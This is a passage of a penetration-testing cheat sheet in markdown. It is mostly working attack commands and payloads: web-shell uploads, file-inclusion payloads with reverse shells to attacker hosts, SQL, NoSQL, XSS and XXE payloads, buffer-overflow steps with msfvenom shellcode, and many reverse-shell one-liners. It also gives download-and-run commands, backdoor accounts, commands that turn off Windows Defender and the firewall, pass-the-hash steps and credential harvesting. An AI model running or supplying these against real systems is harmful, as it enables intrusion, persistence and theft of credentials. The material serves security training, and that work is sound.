's/^[[:space:]]*//'\n\n# Look at page with just text\ncurl $IP -s -L | html2text -width '99' | uniq\n\n# Check if it is possible to upload\ncurl -v -X OPTIONS http://$IP/\ncurl -v -X PUT -d '\u003c?php system($_GET[\"cmd\"]); ?\u003e' http://$IP/test/shell.php\n\n# Simple curl POST request with login data\ncurl -X POST http://$IP/centreon/api/index.php?action=authenticate -d 'username=centreon\u0026password=wall'\n\ncurl -s  http://$IP/fileRead.php -d 'file=fileRead.php' | jq -r .\"file\"\n\n\n# Google Dork\n\nsite:domain.com intext:user\n\nhttps://github.com/sushiwushi/bug-bounty-dorks\n```\n\n#### Url Brutforce\n\n```bash\n# Ffuf\nffuf -c -e '.htm','.php','.html' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u https://$IP/FUZZ\n\n# Dirb not recursive\ndirb http://$IP -r -o dirb-$IP.txt\n\n# Wfuzz\nwfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://$IP/FUZZ\n\ngobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web_Content/common.txt -x php -e # add -k for https\n\n# dirseache\ngit clone https://github.com/maurosoria/dirsearch.git\ncd dirsearch\n./dirsearch.py -u http://$IP -e php,txt,html -x 404\n./dirsearch.py -r -f -u https://google.com --extensions=htm,html,asp,aspx,txt -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 40\n\n# Crawl:\ndirhunt https://url.com/\nhakrwaler https://url.com/\n\n# Sub domain brut\nhttps://github.com/aboul3la/Sublist3r\n\n```\n- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Subdomains%20Enumeration.md\n\n#### Default_Weak login\n```bash\n\nsite:domain.com password\n\nadmin admin\nadmin password\nadmin \u003cblank\u003e\nadmin \u003cservicename\u003e\nroot root\nroot admin\nroot password\nroot \u003cservicename\u003e\n\u003cusername if you have\u003e password\n\u003cusername if you have\u003e admin\n\u003cusername if you have\u003e username\nusername \u003cservicename\u003e\n\n```\n\u003e list of user names\n\nhttps://github.com/danielmiessler/SecLists/tree/master/Usernames\n\n#### LFI-RFI\n\n```bash\n#Fimap\nfimap -u \"http://$IP/example.php?test=\"\n\ncurl -s http://$IP/gallery.php?page=/etc/passwd\n\n#Use in \"page=\"\n\nphp://filter/convert.base64-encode/resource=/etc/passwd\n\nhttp://$IP/maliciousfile.txt%00\n\nphp://filter/convert.base64-encode/resource=../config.php\n\nphp://filter/convert.base64-encode/resource=../../../../../boot.ini\n\n# LFI Windows  :warning:\nLANG=../../windows/system32/drivers/etc/hosts%00\nLANG=../../xampp/apache/logs/access.log%00\u0026cmd=ipconfig\n\n# Contaminating log files\nroot@kali:~# nc -v $IP 80\n$IP: inverse host lookup failed: Unknown host\n(UNKNOWN) [$IP] 80 (http) open\n \u003c?php echo shell_exec($_GET['cmd']);?\u003e\n\n# Contaminating log files\n[root:~]# nc -v $IP 80\n$IP: inverse host lookup failed: Unknown host\n(UNKNOWN) [$IP] 80 (http) open\n \u003c?php echo shell_exec($_GET['cmd']);?\u003e\n\n# RFI:\nhttp://$IP/addguestbook.php?LANG=http://$IP:31/evil.txt%00\nContent of evil.txt:\n\u003c?php echo shell_exec(\"nc.exe 10.11.0.105 4444 -e cmd.exe\") ?\u003e\n\n# PHP Filter:\nhttp://$IP/index.php?m=php://filter/convert.base64-encode/resource=config\n\n# RFI over SMB (Windows)\ncat php_cmd.php\n    \u003c?php echo shell_exec($_GET['cmd']);?\u003e\n  Start SMB Server in attacker machine and put evil script\n  Access it via browser (2 request attack):\nlang=\\\\ATTACKER_IP\\ica\\php_cmd.php\u0026cmd=powershell -c Invoke-WebRequest -Uri \"http://10.10.14.42/nc.exe\" -OutFile \"C:\\\\windows\\\\system32\\\\spool\\\\drivers\\\\color\\\\nc.exe\"\nlang=\\\\ATTACKER_IP\\ica\\php_cmd.php\u0026cmd=powershell -c \"C:\\\\windows\\\\system32\\\\spool\\\\drivers\\\\color\\\\nc.exe\" -e cmd.exe ATTACKER_IP 1234\n\n```\n\u003e read this :\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion\n\n#### Sql-injection\n\n```bash\n#POST\nsqlmap.py -r search-test.txt\n\n#GET\nsqlmap -u \"http://$IP/index.php?id=1\" --dbms=mysql\n\n#FULL ;)\nsqlmap -u 'http://$IP:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch\n\n# NoSQL\n' || 'a'=='a\n\n#in URL\nusername[$ne]=0xtz\u0026password[$ne]=0xtz  # :joy: i'm never use this user name\n\n#in JSON\n{\"username\": {\"$ne\": null}, \"password\": {\"$ne\": null}}\n{\"username\": {\"$gt\":\"\"}, \"password\": {\"$gt\":\"\"}}\n\n```\n\n[sql-injection-authentication-bypass-cheat-sheet](https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/)\n[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)\n\n#### XSS\n```javascript\n\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e\n\u003cscript\u003ealert(1)\u003c/script\u003e\n\n\" \u003cscript\u003e x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText.fontsize(1)) }; x.open(\"GET\",\"file:///home/reader/.ssh/id_rsa\"); x.send(); \u003c/script\u003e\n\n\" \u003cscript\u003e x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open(\"GET\",\"file:///etc/passwd\"); x.send(); \u003c/script\u003e\n\n# XXE\n\nXML entry that reads server, Doctype, change to entity \"System \"file:///etc/passwd\"\"\n\n#Instead POST:\n\n\u003c?xml version=\"1.0\" ?\u003e\n    \u003c!DOCTYPE thp [\n        \u003c!ELEMENT thp ANY\u003e\n        \u003c!ENTITY book \"Universe\"\u003e\n    ]\u003e\n    \u003cthp\u003ehack  \u0026book;\u003c/thp\u003e\n\n\n#Malicious XML:\n\n\u003c?xml version=\"1.0\" ?\u003e\u003c!DOCTYPE thp [ \u003c!ELEMENT thp ANY\u003e\n\u003c!ENTITY book SYSTEM \"file:///etc/passwd\"\u003e]\u003e\u003cthp\u003eHack\n%26book%3B\u003c/thp\u003e\n\n```\n#### Sql-login Bypass\n\n\u003eOpen Burp-suite\nMake and intercept a request\nSend to intruder\nCluster attack.\nPaste in sqlibypass-list\n    https://bobloblaw.gitbooks.io/security/content/sql-injections.html\nAttack\nCheck for response length variation\n\n#### Bypass img Upload\n\n```bash\nChange extension: .pHp3 or pHp3.jpg\nModify mimetype: Content-type: image/jpeg\nBypass getimagesize(): exiftool -Comment='\u003c?php echo \"\u003cpre\u003e\"; system($_GET['cmd']); ?\u003e' file.jpg\nAdd gif header: GIF89a;\nAll at the same time.\n# inject PHP into img\n\nexiv2 -c'A \"\u003c?php system($_REQUEST['cmd']);?\u003e\"!' shell.jpeg\n\nexiftool -Comment='\u003c?php echo \"\u003cpre\u003e\"; system($_GET['cmd']); ?\u003e' shell.jpg\n\n```\n\n### Online crackers\n\nhttps://hashkiller.co.uk/Cracker\nhttps://www.cmd5.org/\nhttps://www.onlinehashcrack.com/\nhttps://gpuhash.me/\nhttps://crackstation.net/\nhttps://crack.sh/\nhttps://hash.help/\nhttps://passwordrecovery.io/\nhttp://cracker.offensive-security.com/\n\n# Vulnerability analysis\n\n## Buffer Overflow\n```bash\n# BASIC GUIDE\n1. Send \"A\"*1024\n2. Replace \"A\" with /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l LENGTH\n3. When crash \"!mona findmsp\" (E$IP offset) or \"\"/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q TEXT\" or \"!mona pattern_offset eip\"\n4. Confirm the location with \"B\" and \"C\"\n5. Check for badchars instead CCCC (ESP):\nbadchars = (\"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\" \"\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\"\n... )\nwith script _badchars.py and\n\"!mona compare -a esp -f C:\\Users\\IEUser\\Desktop\\badchar_test.bin\"\n 5.1 AWESOME WAY TO CHECK BADCHARS ( https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/ ):\n    a. !mona config -set workingfolder c:\\logs\\%p\n    b. !mona bytearray -b \"\\x00\\x0d\"\n    c. Copy from c:\\logs\\%p\\bytearray.txt to python exploit and run again\n    d. !mona compare -f C:\\logs\\%p\\bytearray.bin -a 02F238D0 (ESP address)\n    e. In \" data\", before unicode chars it shows badchars.\n 6. Find JMP ESP with \"!mona modules\" or \"!mona jmp -r esp\" or \"!mona jmp -r esp -cpb '\\x00\\x0a\\x0d'\" find one with security modules \"FALSE\"\n6.1 Then, \"!mona find -s \"\\xff\\xe4\" -m PROGRAM/DLL-FALSE\"\n6.2 Remember put the JMP ESP location in reverse order due to endianness: 5F4A358F will be \\x8f\\x35\\x4a\\x5f\n\n\n7. Generate shellcode and place it:\nmsfvenom -p windows/shell_reverse_tcp LHOST=$IP LPORT=4433 -f python –e x86/shikata_ga_nai -b \"\\x00\"\n\nmsfvenom -p windows/shell_reverse_tcp lhost=$IP lport=443 EXITFUNC=thread -a x86 --platform windows -b \"\\x00\\x0a\\x0d\" -e x86/shikata_ga_nai -f python -v shellcode\n\n8. Final buffer like:\nbuffer=\"A\"*2606 + \"\\x8f\\x35\\x4a\\x5f\" + \"\\x90\" * 8 + shellcode\n\n\n```\n## Find xploits - Searchsploit and google\n```bash\n#Google\nsite:exploit-db.com apache 2.X.X\n\nsearchsploit Apache 2.X.X\nsearchsploit Apache | grep -v '/dos/' | grep -vi \"tomcat\"\n\n```\n\n## Reverse Sells\n```bash\n# Linux\nbash -i \u003e\u0026 /dev/tcp/$IP/4443 0\u003e\u00261\n\n/bin/sh -i \u003e /dev/tcp/x.x.x.x/6969 0\u003c\u00261 2\u003e\u00261\n\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u003e\u00261|nc $IP 4443 \u003e/tmp/f\n\nnc -e /bin/sh $IP 4443\n\n# Python\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$IP\",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u003e\u00261|nc 10.10.14.9 4433 \u003e/tmp/f')-1\\\n\n# Perl\nperl -e 'use Socket;$i=\"$IP\";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\"\u003e\u0026S\");open(STDOUT,\"\u003e\u0026S\");open(STDERR,\"\u003e\u0026S\");exec(\"/bin/sh -i\");};'\n\n# Windows\nnc -e cmd.exe $IP 4443\n\n# from cmd\nC:\\Windows\\SysNative\\WindowsPowershell\\v1.0\\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://x.x.x.x/Invoke-PowerShellTcp.ps1')\n\n# PowerShell\nPS C:\\\u003eIEX(New-Object Net.WebClient).downloadString('http://x.x.x.x/Invoke-PowerShellTcp.ps1')\n\n\n# PHP\n\u003c?php $sock = fsockopen(\"$IP\",1234); $proc = proc_open(\"/bin/sh -i\", array(0=\u003e$sock, 1=\u003e$sock, 2=\u003e$sock), $pipes);?\u003e\n\nphp -r '$sock=fsockopen(\"x.x.x.x\",6969);exec(\"/bin/sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\");'\n\nruby -rsocket -e'f=TCPSocket.open(\"x.x.x.x\",6969).to_i;exec sprintf(\"/bin/sh -i \u003c\u0026%d \u003e\u0026%d 2\u003e\u0026%d\",f,f,f)'\n\n#OR use rsg\n\nhttps://github.com/mthbernardes/rsg\nrsg \u003cinterface\u003e \u003cport\u003e\n\n```\n# Privilege escalation\n\n## Common\n\n### Set up Webserver\n```bash\npython -m SimpleHTTPServer 80\npython3 -m http.server\nruby -r webrick -e \"WEBrick::HTTPServer.new(:Port =\u003e 80, :DocumentRoot =\u003e Dir.pwd).start\"\nphp -S 0.0.0.0:80\nhttps://github.com/sc0tfree/updogupdog\n\n```\n```python\nimport SimpleHTTPServer\nimport SocketServer\nPORT = 8000\nHandler = SimpleHTTPServer.SimpleHTTPRequestHandler\nhttpd = SocketServer.TCPServer((\"\", PORT), Handler)\nprint \"serving at port\", PORT\nhttpd.serve_forever()\n\n```\n\n### Set up FTP Server\n\n```bash\n# Install pyftpdlib\npip install pyftpdlib\n\n# Run (-w flag allows anonymous write access)\npython -m pyftpdlib -p 21 -w\n\n```\n### Filet ransfer\n```bash\n#On sending machine\nnc -w 3 [destination] 1234 \u003c send.file\n\n#on receiving end:\ncmd /c nc.exe -l -v -p 1234 \u003e PsExec.exe\n\n```\n## Linux\n* Useful commands\n```bash\n# Spawning shell\npython -c 'import pty; pty.spawn(\"/bin/bash\")'\npython -c 'import pty; pty.spawn(\"/bin/sh\")'\nV\nCtrl+Z\nstty raw -echo\nfg\nreset\nCtrl+Z\nstty size\nstty -rows 48 -columns 120\nfg\n\necho os.system('/bin/bash')\n/bin/sh -i\nperl -e 'exec \"/bin/sh\";'\nperl: exec \"/bin/sh\";\nruby: exec \"/bin/sh\"\nlua: os.execute('/bin/sh')\n(From within vi)\n:!bash\n:set shell=/bin/bash:shell\n(From within nmap)\n!sh\n\n# Access to more binaries\nexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n\n# Set up webserver\ncd /opt/privesc-scripts; python -m SimpleHTTPServer 80\n\n# Download all files\nwget http://$IP:8080/ -r; mv $IP exploits; cd exploits; rm index.html; chmod 700 LinEnum.sh linprivchecker.py unix-privesc-check\n\n./LinEnum.sh -t -k password -r LinEnum.txt\npython linprivchecker.py extended\n./unix-privesc-check standard\n\n# Writable directories\n/tmp\n/var/tmp\n\n# Add user to sudoers\nuseradd hacker\npasswd hacker\necho \"hacker ALL=(ALL:ALL) ALL\" \u003e\u003e /etc/sudoers\n\n```\n\n### Basic info\n```bash\nuname -a\nenv\nid\ncat /proc/version\ncat /etc/issue\ncat /etc/passwd\ncat /etc/group\ncat /etc/shadow\ncat /etc/hosts\n\n# Users with login\ngrep -vE \"nologin\" /etc/passwd\n\n# Priv Enumeration Scripts\nupload /unix-privesc-check\nupload linuxprivchecker.py\nupload LinEnum.sh\n\npython linprivchecker.py extended\n./LinEnum.sh -t -k password\nunix-privesc-check\n\n```\n### Kernel exploits\n```bash\nsite:exploit-db.com kernel version\n\nperl /opt/Linux_Exploit_Suggester/Linux_Exploit_Suggester.pl -k 2.6\n\npython linprivchecker.py extended\n\n```\n### Programs running as root\n```bash\nps aux\n\n```\n### Installed software\n```bash\n/usr/local/\n/usr/local/src\n/usr/local/bin\n/opt/\n/home\n/var/\n/usr/src/\n\n# Debian\ndpkg -l\n\n# CentOS, OpenSuse, Fedora, RHEL\nrpm -qa (CentOS / openSUSE )\n\n# OpenBSD, FreeBSD\npkg_info\n\n```\n### Weak/reused/plaintext passwords\n* Check database config-file\n* Check databases\n* Check weak passwords\n```bash\nusername:username\nusername:username1\nusername:root\nusername:admin\nusername:qwerty\nusername:password\n\n```\n\n```bash\n./LinEnum.sh -t -k password\n```\n### Inside service\n```bash\nnetstat -anlp\nnetstat -ano\n```\n### Suid misconfiguration\n\n - Binary with suid permission can be run by anyone, but when they are run they are run as root!\n```bash\nnmap\nvim\nnano\ncurl\n...\n```\n\n```bash\n# SUID\nfind / -perm -4000 -type f 2\u003e/dev/null\n\n# ALL PERMS\nfind / -perm -777 -type f 2\u003e/dev/null\n\n# SUID for current user\nfind / perm /u=s -user `whoami` 2\u003e/dev/null\nfind / -user root -perm -4000 -print 2\u003e/dev/null\n\n# Writables for current user/group\nfind / perm /u=w -user `whoami` 2\u003e/dev/null\nfind / -perm /u+w,g+w -f -user `whoami` 2\u003e/dev/null\nfind / -perm /u+w -user `whoami` 2\u003e/dev/nul\n\n# Dirs with +w perms for current u/g\nfind / perm /u=w -type -d -user `whoami` 2\u003e/dev/null\nfind / -perm /u+w,g+w -d -user `whoami` 2\u003e/dev/null\n```\n### Unmounted filesystems\n```bash\nmount -l\n```\n### Cronjob\n```bash\ncrontab -l\nls -alh /var/spool/cron\nls -al /etc/ | grep cron\nls -al /etc/cron*\ncat /etc/cron*\ncat /etc/at.allow\ncat /etc/at.deny\ncat /etc/cron.allow\ncat /etc/cron.deny\ncat /etc/crontab\ncat /etc/anacrontab\ncat /var/spool/cron/crontabs/root\n\n```\n### SSH Keys\n * Chek all home dirs\n```bash\ncat ~/.ssh/authorized_keys\ncat ~/.ssh/identity.pub\ncat ~/.ssh/identity\ncat ~/.ssh/id_rsa.pub\ncat ~/.ssh/id_rsa\ncat ~/.ssh/id_dsa.pub\ncat ~/.ssh/id_dsa\ncat /etc/ssh/ssh_config\ncat /etc/ssh/sshd_config\ncat /etc/ssh/ssh_host_dsa_key.pub\ncat /etc/ssh/ssh_host_dsa_key\ncat /etc/ssh/ssh_host_rsa_key.pub\ncat /etc/ssh/ssh_host_rsa_key\ncat /etc/ssh/ssh_host_key.pub\ncat /etc/ssh/ssh_host_key\n\n```\n\n### Bad path configuration\n```bash\n# Require user interaction\nexport PATH=/tmp' or your path file':$PATH\n\n```\n### Find plain passwords\n```bash\ngrep -rnw '/' -ie 'pass' --color=always\ngrep -rnw '/' -ie 'DB_PASS' --color=always\ngrep -rnw '/' -ie 'DB_PASSWORD' --color=always\ngrep -rnw '/' -ie 'DB_USER' --color=always\n```\n### Scripts\n#### SUID\n```bash\nint main(void){\n  setresuid(0, 0, 0);\n  system(\"/bin/bash\");\n}\n\n# Compile\ngcc suid.c -o suid\n```\n#### PS Monitor for cron\n```bash\n#!/bin/bash\n\n# Loop by line\nIFS=$'\\n'\n\nold_process=$(ps -eo command)\n\nwhile true; do\n    new_process=$(ps -eo command)\n    diff \u003c(echo \"$old_process\") \u003c(echo \"$new_process\") | grep [\\\u003c\\\u003e]\n    sleep 1\n    old_process=$new_process\ndone\n```\n#### Linux Privesc Tools\n\n- [GTFOBins](https://gtfobins.github.io/)\n\n- [LinEnum](https://github.com/rebootuser/LinEnum)\n\n- [LinuxExploitSuggester](https://github.com/mzet-/linux-exploit-suggester)\n\n### Linux Precompiled Exploits\n\n[linuxprivchecker](https://github.com/sleventyeleven/linuxprivchecker)\n\n## Windows\n\n* Now we start the whole enumeration-process over gain. This is a checklist. You need to check of every single one, in this order.\n\n1 ) Kernel exploits\n2 ) Cleartext password\n3 ) Reconfigure service parameters\n4 ) Inside service\n5 ) Program running as root\n6 ) Installed software\n7 ) Scheduled tasks\n8 ) Weak passwords\n\n### Basic info\n```cmd\nsysteminfo\nset\nhostname\nnet users\nnet user user1\nnet localgroups\naccesschk.exe -uwcqv \"Authenticated Users\" *\n\nnetsh firewall show state\nnetsh firewall show config\n\n# Set path\nset PATH=%PATH%;C:\\xampp\\php\n\nwhoami /priv\n\ndir/a -\u003e Show hidden \u0026 unhidden files\ndir /Q -\u003e Show permissions\n```\n### Kernel exploits\n```cmd\n# Look for hotfixes\nsysteminfo\n\nwmic qfe get Caption,Description,HotFixID,InstalledOn\n\n# Search for exploits\nsite:exploit-db.com windows XX XX\n```\n### Cleartext passwords\n```cmd\n# Windows autologin\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon\"\n\n# VNC\nreg query \"HKCU\\Software\\ORL\\WinVNC3\\Password\"\n\n# SNMP Parameters\nreg query \"HKLM\\SYSTEM\\Current\\ControlSet\\Services\\SNMP\"\n\n# Putty\nreg query \"HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\"\n\n# Search for password in registry\nreg query HKLM /f password /t REG_SZ /s\nreg query HKCU /f password /t REG_SZ /s\n```\n### Reconfigure service parameters\n*  Unquoted service paths\n\n* Weak service permissions\n\nhttps://pentest.blog/windows-privilege-escalation-methods-for-pentesters/\n\n### Dump process for passwords\n```bash\n# Looking for Firefox\nGet-Process\n./procdump64.exe -ma $PID-FF\nSelect-String -Path .\\*.dmp -Pattern 'password' \u003e 1.txt\ntype 1.txt | findstr /s /i \"admin\"\n```\n### Inside service\n```cmd\nnetstat /a\nnetstat -ano\n```\n### Programs running as root/system\n\n### Installed software\n```cmd\ntasklist /SVC\nnet start\nreg query HKEY_LOCAL_MACHINE\\SOFTWARE\nDRIVERQUERY\n\nLook in:\nC:\\Program files\nC:\\Program files (x86)\nHome directory of the user\n```\n### Scheduled tasks\n```cmd\nschtasks /query /fo LIST /v\n\nCheck this file:\nc:\\WINDOWS\\SchedLgU.Txt\n```\n### Weak passwords\n```cmd\nncrack -vv --user george -P /usr/.../passwords.txt rdp://$IP\n```\n### Add user and enable RDP\n```cmd\n# Add new user\n\nnet user haxxor Haxxor123 /add\nnet localgroup Administrators haxxor /add\nnet localgroup \"Remote Desktop Users\" haxxor /ADD\n\n# Turn firewall off and enable RDP\n\nsc stop WinDefend\nnetsh advfirewall show allprofiles\nnetsh advfirewall set allprofiles state off\nnetsh firewall set opmode disable\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f\n```\n### Powershell sudo for Windows\n```bash\n$pw= convertto-securestring \"EnterPasswordHere\" -asplaintext -force\n$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist \"EnterDomainName\\EnterUserName\",$pw\n$script = \"C:\\Users\\EnterUserName\\AppData\\Local\\Temp\\test.bat\"\nStart-Process powershell -Credential $pp -ArgumentList '-noprofile -command \u0026{Start-Process $script -verb Runas}'\n\npowershell -ExecutionPolicy Bypass -File xyz.ps1\n```\n### Windows download with bitsadmin\n```bash\nbitsadmin /transfer mydownloadjob /download /priority normal http://\u003cattacker\u003e/nc.exe C:\\\\Users\\\\%USERNAME%\\\\AppData\\\\local\\\\temp\\\\nc.exe\n\n```\n### Windows download with certutil.exe\n```bash\ncertutil.exe -urlcache -split -f \"http://\u003cattacker\u003e/Powerless.bat\" Powerless.bat\n\n```\n\n### Creating a wget VB Script on Windows\n[*https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt*](https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt)\n\n### Windows download with powershell\n\n```bash\npowershell -c \"(new-object System.Net.WebClient).DownloadFile('http://10.11.1.111/file.exe','C:\\Users\\user\\Desktop\\file.exe')\"\n\n(New-Object System.Net.WebClient).DownloadFile(\"http://10.11.1.111/CLSID.list\",\"C:\\Users\\Public\\CLSID.list\")\n\n```\n\n### Windows Download from FTP\n```bash\n# In reverse shell\necho open $IP \u003e ftp.txt\necho USER anonymous \u003e\u003e ftp.txt\necho ftp \u003e\u003e ftp.txt\necho bin \u003e\u003e ftp.txt\necho GET file \u003e\u003e ftp.txt\necho bye \u003e\u003e ftp.txt\n\n# Execute\nftp -v -n -s:ftp.txt\n\n```\n\n### Windows create SMB Server transfer files\n```bash\n# Attack machine\npython /usr/share/doc/python-impacket/examples/smbserver.py\n\n    # Or SMB service\n    # http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html\n    vim /etc/samba/smb.conf\n        [global]\n        workgroup = WORKGROUP\n        server string = Samba Server %v\n        netbios name = indishell-lab\n        security = user\n        map to guest = bad user\n        name resolve order = bcast host\n        dns proxy = no\n        bind interfaces only = yes\n\n        [ica]\n        path = /var/www/html/pub\n        writable = no\n        guest ok = yes\n        guest only = yes\n        read only = yes\n        directory mode = 0555\n        force user = nobody\n\n    chmod -R 777 smb_path\n    chown -R nobody:nobody smb_path\n    service smbd restart\n\n# Victim machine with reverse shell\nDownload: copy \\\\$IP\\Lab\\wce.exe .\nUpload: copy wtf.jpg \\\\$IP\\Lab\n\n```\n\n### Windows download with VBS\n```cmd\n# In reverse shell\necho strUrl = WScript.Arguments.Item(0) \u003e wget.vbs\necho StrFile = WScript.Arguments.Item(1) \u003e\u003e wget.vbs\necho Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 \u003e\u003e wget.vbs\necho Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 \u003e\u003e wget.vbs\necho Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 \u003e\u003e wget.vbs\necho Const HTTPREQUEST_PROXYSETTING_PROXY = 2 \u003e\u003e wget.vbs\necho Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts \u003e\u003e wget.vbs\necho Err.Clear \u003e\u003e wget.vbs\necho Set http = Nothing \u003e\u003e wget.vbs\necho Set http = CreateObject(\"WinHttp.WinHttpRequest.5.1\") \u003e\u003e wget.vbs\necho If http Is Nothing Then Set http = CreateObject(\"WinHttp.WinHttpRequest\") \u003e\u003e wget.vbs\necho If http Is Nothing Then Set http = CreateObject(\"MSXML2.ServerXMLHTTP\") \u003e\u003e wget.vbs\necho If http Is Nothing Then Set http = CreateObject(\"Microsoft.XMLHTTP\") \u003e\u003e wget.vbs\necho http.Open \"GET\",strURL,False \u003e\u003e wget.vbs\necho http.Send \u003e\u003e wget.vbs\necho varByteArray = http.ResponseBody \u003e\u003e wget.vbs\necho Set http = Nothing \u003e\u003e wget.vbs\necho Set fs = CreateObject(\"Scripting.FileSystemObject\") \u003e\u003e wget.vbs\necho Set ts = fs.CreateTextFile(StrFile,True) \u003e\u003e wget.vbs\necho strData = \"\" \u003e\u003e wget.vbs\necho strBuffer = \"\" \u003e\u003e wget.vbs\necho For lngCounter = 0 to UBound(varByteArray) \u003e\u003e wget.vbs\necho ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) \u003e\u003e wget.vbs\necho Next \u003e\u003e wget.vbs\necho ts.Close \u003e\u003e wget.vbs\n\n# Execute\ncscript wget.vbs http://10.11.1.111/file.exe file.exe\n\n```\n\n### Pass The Hash\n```bash\n# Login as user only with hashdump\n# From this hashdump\n# admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::\n\nmsf5 \u003e use exploit/windows/smb/psexec\nmsf5 exploit(windows/smb/psexec) \u003e options\n\nModule options (exploit/windows/smb/psexec):\n\n   Name                  Current Setting  Required  Description\n   ----                  ---------------  --------  -----------\n   RHOSTS                                 yes       The target address range or CIDR identifier\n   RPORT                 445              yes       The SMB service port (TCP)\n   SERVICE_DESCR10.11.1.111TION                    no        Service description to to be used on target for pretty listing\n   SERVICE_DISPLAY_NAME                   no        The service display name\n   SERVICE_NAME                           no        The service name\n   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share\n   SMBDomain             .                no        The Windows domain to use for authentication\n   SMBPass                                no        The password for the specified username\n   SMBUser                                no        The username to authenticate as\n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   Automatic\n\nmsf5 exploit(windows/smb/psexec) \u003e set rhosts 10.10.0.100\nrhosts =\u003e 10.10.0.100\n\nmsf5 exploit(windows/smb/psexec) \u003e set smbuser admin2\n\nsmbuser =\u003e admin2\n\nmsf5 exploit(windows/smb/psexec) \u003e set smbpass aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7\n\nsmbpass =\u003e aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7\n\nmsf5 exploit(windows/smb/psexec) \u003e set payload windows/x64/meterpreter/reverse_tcp\n\npayload =\u003e windows/x64/meterpreter/reverse_tcp\n\n```\n\n### Scripts\n\n#### Useradd\n```c\n#include \u003cstdlib.h\u003e /* system, NULL, EXIT_FAILURE */\n\nint main ()\n{\n  int i;\n  i=system (\"net user \u003cusername\u003e \u003cpassword\u003e /add \u0026\u0026 net localgroup administrators \u003cusername\u003e /add\");\n  return 0;\n}\n\n# Compile\ni686-w64-mingw32-gcc -o useradd.exe useradd.c\n```\n\n#### Powershell Run As\n```cmd\necho $username = '\u003cusername\u003e' \u003e runas.ps1\necho $securePassword = ConvertTo-SecureString \"\u003cpassword\u003e\" -AsPlainText -Force \u003e\u003e runas.ps1\necho $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword \u003e\u003e runas.ps1\necho Start-Process C:\\Users\\User\\AppData\\Local\\Temp\\backdoor.exe -Credential $credential \u003e\u003e runas.ps1\n\n```\n\n#### Powershell Reverse Shell\n```cmd\nSet-ExecutionPolicy Bypass\n\n$client = New-Object System.Net.Sockets.TCPClient('10.11.1.111',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2\u003e\u00261 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '\u003e ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\n\n```\n### Windows privesc/enum tools\n- [windows-exploit-suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py)\n- [windows-privesc-check](https://github.com/pentestmonkey/windows-privesc-check)\n- [PowerUp](https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1)\n\n### Windows precompiled exploits\n- 